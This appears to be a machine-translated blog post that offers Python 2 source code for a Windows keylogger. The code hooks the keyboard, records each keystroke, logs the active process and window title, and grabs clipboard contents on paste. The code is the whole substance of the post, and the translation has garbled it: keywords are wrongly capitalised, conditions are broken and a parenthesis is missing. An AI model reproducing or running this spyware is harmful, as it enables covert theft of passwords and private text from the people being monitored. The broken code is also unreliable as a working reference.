Before writing the Keylogger finally has been in the tangled bullet frame and not the box problem, the code can not find, and today again
#!/usr/bin/env python
#-*-coding:utf-8-*-
From ctypes Import *
Import pythoncom
Import Pyhook
Import Win32clipboard
User32 = Windll.user32
KERNEL32 = Windll.kernel32
PSAPI = Windll.psapi
Current_window = None
Def get_current_process ():
hwnd = User32. GetForegroundWindow ()
PID = C_ulong (0)
User32. GetWindowThreadProcessId (Hwnd,byref (PID))
process_id = "%d"% pid.value
Executable = Create_string_buffer ("\x00" * 512)
H_process = kernel32. OpenProcess (0x400 | 0x10,false,pid)
Psapi. GetModuleBaseName (H_process,none, ByRef (executable), 512)
Window_title =create_string_buffer ("\x00" * 512)
Length = User32. Getwindowtexta (Hwnd,byref (window_title), 512
print "\ n [pid:%s-%s-%s]"% (process_id,executable.value,window_title.value)
Kernel32. CloseHandle (HWND)
Kernel32. CloseHandle (h_process)
Def keystroke (event):
Global Current_window
If event. Windowname! = Current_window:
Current_window = event. Windowname
Get_current_process ()
If event. Ascii > + event. Ascii < 127:
Print Chr (event. ASCII),
Else
If event. Key = = "V":
Win32clipboard. OpenClipboard ()
Pasted_value = Win32clipboard. GetClipboardData ()
Win32clipboard. CloseClipboard ()
print "[paste]-%s"% (Pasted_value),
Else
Print "[%s]"% event. Key,
Return True
KL = Pyhook.hookmanager ()
Kl. KeyDown = Keystroke ()
Kl. Hookkeyboard ()
Pythoncom. Pumpmessages ()
Python Keyboard Record